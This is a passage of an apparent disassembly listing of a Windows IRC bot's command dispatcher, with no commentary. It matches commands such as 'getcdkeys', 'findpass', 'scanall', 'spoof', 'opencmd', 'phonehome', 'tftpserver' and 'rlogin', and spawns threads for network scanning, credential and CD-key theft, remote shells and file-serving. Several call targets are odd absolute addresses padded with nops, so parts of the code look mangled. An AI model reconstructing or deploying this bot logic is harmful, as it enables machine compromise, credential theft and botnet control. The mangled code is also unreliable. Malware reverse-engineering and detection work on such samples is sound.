		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aAl	; "al"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aLog	; "log"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aLg	; "lg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aSi	; "si"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aKey	; "key"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aUp	; "up"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40340A
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C1CC
		push	offset dword_42C1C0
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_40340A:				; CODE XREF: sub_401ACD+1923j
		push	edi
		push	offset dword_42C1BC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403527
		cmp	[ebp+var_8], ebx
		jnz	short loc_40343E
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C1A8
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_40343E:				; CODE XREF: sub_401ACD+1955j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_20], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_40344C
; ---------------------------------------------------------------------------

loc_403449:				; CODE XREF: sub_401ACD+19CBj
		mov	eax, [ebp+arg_18]

loc_40344C:				; CODE XREF: sub_401ACD+197Aj
		cmp	[eax], bl
		jz	short loc_403453
		inc	eax
		jmp	short loc_403458
; ---------------------------------------------------------------------------

loc_403453:				; CODE XREF: sub_401ACD+1981j
		mov	eax, offset aEmpty ; "<Empty>"

loc_403458:				; CODE XREF: sub_401ACD+1984j
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_20]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 3
		jl	short loc_403449
		push	offset unk_42C174
		call	sub_4151AC
		pop	ecx

loc_4034A5:				; CODE XREF: sub_401ACD+1C5Aj
					; sub_401ACD+2F43j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401E94
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AF4
		mov	esi, [ebp+arg_10]
		push	offset aOff	; "off"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A22
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C140
		push	eax
		mov	dword_4CE728, ebx
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_4034FD:				; CODE XREF: sub_401ACD+3022j
		cmp	[ebp+var_8], ebx
		jnz	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72

loc_40351F:				; CODE XREF: sub_401ACD+7118j
		add	esp, 14h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_403527:				; CODE XREF: sub_401ACD+194Cj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aCrash	; "crash"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036B3
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C098
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403692
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_403692:				; CODE XREF: sub_401ACD+1BA7j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		mov	[esp+10h+var_10], offset aCrash	; "crash"
		push	[ebp+esi+var_7C]
		call	sub_41C070
		jmp	loc_40207C
; ---------------------------------------------------------------------------

loc_4036B3:				; CODE XREF: sub_401ACD+1B8Fj
		push	edi
		push	offset aScanall	; "scanall"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aSa	; "sa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403707
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		jmp	loc_401F52
; ---------------------------------------------------------------------------

loc_403707:				; CODE XREF: sub_401ACD+1C1Fj
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40372D
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034A5

loc_40372D:				; CODE XREF: sub_401ACD+1C49j
		push	[ebp+var_88]
		lea	eax, [ebp+var_F54]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_F58], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_ECC], eax
		push	offset unk_42C024
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F58]
		push	ebx
		push	eax
		push	offset sub_416F1A
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4037D5

loc_4037BF:				; CODE XREF: sub_401ACD+1D06j
		cmp	[ebp+var_EC8], ebx
		jnz	loc_4083BC
		push	32h
		call	near ptr 2660EB7h
		nop
		jmp	short loc_4037BF
; ---------------------------------------------------------------------------

loc_4037D5:				; CODE XREF: sub_401ACD+1CF0j
		nop
		call	near ptr 267084Ch
		push	eax
		push	offset unk_42BFE8
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_4037E6:				; CODE XREF: sub_401ACD+1BF5j
					; sub_401ACD+1C0Aj
		mov	al, byte_4315F2
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_4315F2
		jz	loc_401E94
		mov	ecx, edx

loc_4037FD:				; CODE XREF: sub_401ACD+1D38j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037FD
		cmp	al, bl
		jz	loc_401E94
		mov	[ebp+arg_18], edx
		mov	esi, offset aF	; "#f"

loc_403817:				; CODE XREF: sub_401ACD+2008j
		push	0Bh
		call	sub_40B33E
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403866
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BFA8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_403ACC
; ---------------------------------------------------------------------------

loc_403866:				; CODE XREF: sub_401ACD+1D64j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_431410, ebx
		mov	[ebp+var_734], 4Bh
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_4038D7
		mov	edi, offset dword_431410

loc_40389B:				; CODE XREF: sub_401ACD+1DECj
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4038BD
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40389B
		jmp	short loc_4038D7
; ---------------------------------------------------------------------------

loc_4038BD:				; CODE XREF: sub_401ACD+1DE2j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_431410[ecx]
		mov	[ebp+var_74C], ecx

loc_4038D7:				; CODE XREF: sub_401ACD+1DC7j
					; sub_401ACD+1DEEj
		cmp	[ebp+var_74C], ebx
		jz	loc_403AE0
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], edi
		push	[ebp+arg_4]
		call	dword_4CAF18
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41B5F0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BE40
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40397F

loc_40395D:				; CODE XREF: sub_401ACD+1EB0j
		cmp	eax, ebx
		jz	short loc_40397F
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40395D

loc_40397F:				; CODE XREF: sub_401ACD+1E8Ej
					; sub_401ACD+1E92j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_750], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_724], eax
		mov	edi, 80h
		lea	eax, [ebp+var_850]
		push	edi
		push	eax
		mov	[ebp+var_720], 1
		call	sub_41B980
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_4039E1
		push	esi
		lea	eax, [ebp+var_7D0]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4039E7
; ---------------------------------------------------------------------------

loc_4039E1:				; CODE XREF: sub_401ACD+1EFFj
		mov	[ebp+var_7D0], bl

loc_4039E7:				; CODE XREF: sub_401ACD+1F12j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039F9
		mov	eax, offset aSequential	; "Sequential"

loc_4039F9:				; CODE XREF: sub_401ACD+1F25j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF28
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403A83

loc_403A71:				; CODE XREF: sub_401ACD+1FB4j
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A9E
		push	32h
		nop
		call	near ptr 2660EB7h
		jmp	short loc_403A71
; ---------------------------------------------------------------------------

loc_403A83:				; CODE XREF: sub_401ACD+1FA2j
		nop
		call	near ptr 267084Ch
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BEEC
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_403A9E:				; CODE XREF: sub_401ACD+1FAAj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403ABF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_403ABF:				; CODE XREF: sub_401ACD+1FD4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_403ACC:				; CODE XREF: sub_401ACD+1D94j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_403817
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_403AE0:				; CODE XREF: sub_401ACD+1E10j
		push	offset unk_42BEB4
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_403AEA:				; CODE XREF: sub_401ACD+1B65j
					; sub_401ACD+1B7Aj
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_403B00
		push	offset unk_42BE94
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_403B00:				; CODE XREF: sub_401ACD+2027j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403B23
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_403B37
; ---------------------------------------------------------------------------

loc_403B23:				; CODE XREF: sub_401ACD+203Cj
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2660000h

loc_403B37:				; CODE XREF: sub_401ACD+2054j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403B47
		mov	esi, offset byte_429108

loc_403B47:				; CODE XREF: sub_401ACD+2073j
		push	esi
		lea	eax, [ebp+var_2C4C]
		push	edi
		push	eax
		call	sub_41B980
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B40],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B44],	ebx
		mov	[ebp+var_2D54],	eax
		lea	eax, [ebp+var_2B3C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2ABC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2AB8],	eax
		lea	eax, [ebp+var_2D50]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B40]
		push	offset unk_42BE60
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2B48],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D54]
		push	ebx
		push	eax
		push	offset word_411796
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_2B48]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403C13

loc_403BFD:				; CODE XREF: sub_401ACD+2144j
		cmp	[ebp+var_2AB4],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2660EB7h
		jmp	short loc_403BFD
; ---------------------------------------------------------------------------

loc_403C13:				; CODE XREF: sub_401ACD+212Ej
		nop
		call	near ptr 267084Ch
		push	eax
		push	offset unk_42BE24
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_403C24:				; CODE XREF: sub_401ACD+1B3Bj
					; sub_401ACD+1B50j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403C48
; ---------------------------------------------------------------------------

loc_403C43:				; CODE XREF: sub_401ACD+2160j
					; sub_401ACD+216Bj
		mov	eax, dword_42907C

loc_403C48:				; CODE XREF: sub_401ACD+2174j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36C8],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B4],	eax
		jz	short loc_403C7B
		lea	eax, [ebp+var_37CC]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_403CA6
; ---------------------------------------------------------------------------

loc_403C7B:				; CODE XREF: sub_401ACD+219Bj
		lea	eax, [ebp+var_4FF4]
		push	104h
		push	eax
		nop
		call	near ptr 2660979h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4FF4]
		push	eax
		call	sub_41B9D1
		add	esp, 14h

loc_403CA6:				; CODE XREF: sub_401ACD+21ACj
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+eax+var_37CD], 5Ch
		pop	ecx
		jnz	short loc_403CD1
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+eax+var_37CD], bl

loc_403CD1:				; CODE XREF: sub_401ACD+21EEj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A54]
		mov	[ebp+var_3A58],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36B8],	eax
		lea	eax, [ebp+var_37CC]
		mov	[ebp+var_36BC],	edi
		push	eax
		push	[ebp+var_36C8]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BDE8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_36C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A58]
		push	ebx
		push	eax
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_36C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403D85

loc_403D73:				; CODE XREF: sub_401ACD+22B6j
		cmp	[ebp+var_36AC],	ebx
		jnz	short loc_403DA0
		push	32h
		nop
		call	near ptr 2660EB7h
		jmp	short loc_403D73
; ---------------------------------------------------------------------------

loc_403D85:				; CODE XREF: sub_401ACD+22A4j
		nop
		call	near ptr 267084Ch
		push	eax
		push	offset unk_42BDAC

loc_403D91:				; CODE XREF: sub_401ACD+2419j
					; sub_401ACD+4D04j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_403DA0:				; CODE XREF: sub_401ACD+22ACj
					; sub_401ACD+23FDj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	edi
		jmp	loc_407285
; ---------------------------------------------------------------------------

loc_403DB0:				; CODE XREF: sub_401ACD+1B11j
					; sub_401ACD+1B26j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403DD4
; ---------------------------------------------------------------------------

loc_403DCF:				; CODE XREF: sub_401ACD+22ECj
					; sub_401ACD+22F7j
		mov	eax, dword_429080

loc_403DD4:				; CODE XREF: sub_401ACD+2300j
		mov	[ebp+var_1824],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403DEB
		lea	eax, [ebp+var_C4]

loc_403DEB:				; CODE XREF: sub_401ACD+2316j
		push	eax
		lea	eax, [ebp+var_1964]
		push	40h
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403E0D
		mov	esi, offset dword_43D128

loc_403E0D:				; CODE XREF: sub_401ACD+2339j
		push	esi
		lea	eax, [ebp+var_1924]
		push	100h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_19E4]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1810],	eax
		lea	eax, [ebp+var_1964]
		push	eax
		mov	[ebp+var_19E8],	esi
		push	[ebp+var_1824]
		mov	[ebp+var_1814],	edi
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BD70
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1820],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19E8]
		push	ebx
		push	eax
		push	offset byte_410A4D
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_1820]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403EDA

loc_403EC4:				; CODE XREF: sub_401ACD+240Bj
		cmp	[ebp+var_180C],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2660EB7h
		jmp	short loc_403EC4
; ---------------------------------------------------------------------------

loc_403EDA:				; CODE XREF: sub_401ACD+23F5j
		call	near ptr 267084Ch
		nop
		push	eax
		push	offset unk_42BD34
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_403EEB:				; CODE XREF: sub_401ACD+1AE7j
					; sub_401ACD+1AFCj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EFE
		push	esi
		call	sub_41B779
		jmp	short loc_403F05
; ---------------------------------------------------------------------------

loc_403EFE:				; CODE XREF: sub_401ACD+2427j
		push	0Bh
		call	sub_40B35D

loc_403F05:				; CODE XREF: sub_401ACD+242Fj
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA56
		jmp	loc_4043B9
; ---------------------------------------------------------------------------

loc_403F25:				; CODE XREF: sub_401ACD+1ABDj
					; sub_401ACD+1AD2j
		mov	eax, dword_4CAE90
		cmp	eax, ebx
		jz	short loc_403F42
		call	eax
		test	eax, eax
		jz	short loc_403F3B
		push	offset unk_42BD10
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F3B:				; CODE XREF: sub_401ACD+2465j
		push	offset unk_42BCE4
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F42:				; CODE XREF: sub_401ACD+245Fj
		push	offset unk_42BCB8

loc_403F47:				; CODE XREF: sub_401ACD+246Cj
					; sub_401ACD+2473j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_406CDB
; ---------------------------------------------------------------------------

loc_403F5D:				; CODE XREF: sub_401ACD+1A93j
					; sub_401ACD+1AA8j
		call	sub_40AB31
		test	eax, eax
		jz	short loc_403F6D
		push	offset unk_42BC94
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F6D:				; CODE XREF: sub_401ACD+2497j
		push	offset unk_42BC68
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F74:				; CODE XREF: sub_401ACD+1A69j
					; sub_401ACD+1A7Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F93
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BC50
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_403F93:				; CODE XREF: sub_401ACD+24AAj
		push	ebx
		push	[ebp+var_4]
		call	sub_4181D6
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BC34
		jmp	loc_404285
; ---------------------------------------------------------------------------

loc_403FB5:				; CODE XREF: sub_401ACD+18F9j
					; sub_401ACD+190Ej
		push	0Ah
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_403FCB
